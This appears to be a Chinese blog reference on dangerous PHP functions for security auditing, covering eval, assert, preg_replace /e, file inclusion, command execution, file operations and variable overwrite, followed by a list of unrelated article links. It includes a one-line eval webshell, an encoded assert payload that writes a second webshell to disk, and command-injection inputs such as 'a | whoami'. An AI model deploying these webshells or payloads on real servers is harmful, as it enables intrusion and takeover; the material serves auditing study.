常见PHP危险函数及特殊函数
PHP代码执行函数 - eval & assert & preg_replace
mixed eval ( string $code )
<?php @eval($_POST['v']);?> eval一般出现的场景是 <?php $string = '杯子'; $name = '咖啡'; $str = '这个 $string 中装有 $name.<br>'; echo $str; eval( "$str = "$str";" ); echo $str; ?>
bool assert ( mixed $assertion [, string $description ] )
<?php $_GET[a]($_GET[b]);?> ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5 waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWw oJF9QT1NUW2NdKTsgPz4x%29%29};
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
preg_replace("/test/e",$_GET["h"],"jutst test");
如果我们提交 ?h=phpinfo(),phpinfo()将会被执行
string create_function ( string $args , string $code )
$newfunc = create_function('$v', 'return system($v);'); $newfunc('whoami');就相当于system('whoami');
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
PHP文件包含函数
require、include、require_once、include_once
包含函数 一共有四个,主要作用为包含并运行指定文件。
include $file;
在变量 $file 可控的情况下,我们就可以包含任意文件,从而达到 getshell 的目的。
另外,在不同的配置环境下,可以包含不同的文件。
因此又分为远程文件包含和本地文件包含。
包含函数也能狗读取任意文件内容,这就需要用到【支持的协议和封装协议】和【过滤器】。
例如,利用php流filter读取任意文件
include($_GET['file']);
PHP命令执行函数
exec() — 执行一个外部程序 • passthru() — 执行外部程序并且显示原始输出 • proc_open() — 执行一个命令,并且打开用来输入/输出的文件指针。 • shell_exec() & `` — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 • system() — 执行外部程序,并且显示输出 • popen() — 通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
执行函数包括但不限于上述几个。
同样的道理、只要命令的参数可控就能狗执行系统命令。
例如:
system( $cmd ); 或者 system('ping -c 3 ' . $target ); 当 $cmd 可以空就能执行任意命令, 而当 $target 可控的话,可以用管道符等特殊字符截断从而执行任意命令。 $target = 'a | whoami';
PHP文件操作函数
copy — 拷贝文件 • file_get_contents — 将整个文件读入一个字符串 • file_put_contents — 将一个字符串写入文件 • file — 把整个文件读入一个数组中 • fopen — 打开文件或者 URL • move_uploaded_file — 将上传的文件移动到新位置 • readfile — 输出文件 • rename — 重命名一个文件或目录 • rmdir — 删除目录 • unlink & delete — 删除文件
任意文件读取、写入、删除往往是上面几个函数受到了控制(当然还有其他的函数)。
不同的函数在不同的场景有不同的作用和不同的利用手法。
读取:可以读取配置等文件,拿到key
写入:可以写入shell代码相关的内容
删除:可以删除.lock文件而可以重新安装覆盖
更多思路请自行挖掘测试!!
PHP特殊函数
信息泄漏
bool phpinfo ([ int $what = INFO_ALL ] )
输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如
果编译为一个模块的话)、PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP
头和PHP授权信息(License)。
软连接-读取文件内容
bool symlink ( string $target , string $link )
symlink() 对于已有的 target 建立一个名为 link 的符号连接。
string readlink ( string $path )
readlink() 和同名的 C 函数做同样的事,返回符号连接的内容。
环境变量
string getenv ( string $varname )
获取一个环境变量的值。
bool putenv ( string $setting )
添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
加载扩展
bool dl ( string $library )
载入指定参数 library 的 PHP 扩展。
配置相关
string ini_get ( string $varname )
成功时返回配置选项的值。
string ini_set ( string $varname , string $newvalue )
string ini_alter ( string $varname , string $newvalue )
设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
void ini_restore ( string $varname )
恢复指定的配置选项到它的原始值。
数字判断
bool is_numeric ( mixed $var )
如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。
仅用is_numeric判断而不用intval转换就有可能插入16进制的字符串到数据库,进而可能导致sql二次注入。
数组相关
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 haystack 中搜索 needle,如果没有设置 strict 则使用宽松的比较。
该函数有一个特性,比较之前会进行自动类型转换。
$a = '1abc';
in_array($a,array(1,2,3))的返回值会是真
PHP变量覆盖函数
void parse_str ( string $str [, array &$arr ] )
如果 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。
int extract ( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]] )
本函数用来将变量从数组中导入到当前的符号表中。检查每个键名看是否可以作为一个合法的变量名,同时也
检查和符号表中已有的变量名的冲突。
bool mb_parse_str ( string $encoded_string [, array &$result ] )
解析 GET/POST/COOKIE 数据并设置全局变量。 由于 PHP 不提供原始 POST/COOKIE 数据,目前它仅能够
用于 GET 数据。 它解析了 URL 编码过的数据,检测其编码,并转换编码为内部编码,然后设置其值为 array
的 result 或者全局变量。
bool import_request_variables ( string $types [, string $prefix ] )
将 GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变
量,那么此函数就很有用。
<?php $str = "first=value&arr[]=foo+bar&arr[]=baz"; parse_str($str); echo $first; echo $arr[0]; // foo bar echo $arr[1]; // baz ?>
列目录
array glob ( string $pattern [, int $flags = 0 ] )
glob() 函数依照 libc glob() 函数使用的规则寻找所有与 pattern 匹配的文件路径,类似于一般 shells 所用的
规则一样。不进行缩写扩展或参数替代。
无参数获取信息
array get_defined_vars ( void )
返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array get_defined_constants ([ bool $categorize = false ] )
返回当前所有已定义的常量名和值。 这包含 define() 函数所创建的,也包含了所有扩展所创建的。
array get_defined_functions ( void )
返回一个包含所有已定义函数列表的多维数组
array get_included_files ( void )
返回所有被 include、 include_once、 require 和 require_once 的文件名。
最新文章
- 学习Python的ABC模块(转)
- Android 动画详解
- Shiro权限验证代码记录,正确找到shiro框架在什么地方做了权限识别
- #来自codeforces round 363
- PS 如何改变一个icon的颜色
- 十二、Android UI开发专题(转)
- CSS and JavaScript Bundling and Minification in ASP.NET 4.5
- 《Programming WPF》翻译 第7章 3.笔刷和钢笔
- C语言-字符编码转换:UTF与GB2312
- 弹出窗口a标签写下载,再弹出窗口
- hdu1867之KMP
- ASP.NET Identity
- 【Tomcat】重新打war包
- [转]SVN使用log,list,cat,diff查看所有及特定文件版本信息
- dedecms在后台替换文章标题、内容、摘要、关键字
- FTP文件服务器代码
- [Agc001E] BBQ Hard
- MongoDB基于GridFS管理文件
- STL源码剖析之空间配置器
- Zedboard学习(二):zedboard的Linux下交叉编译环境搭建 标签: 交叉编译linuxzedboard 2017-07-04 23:49 19人阅读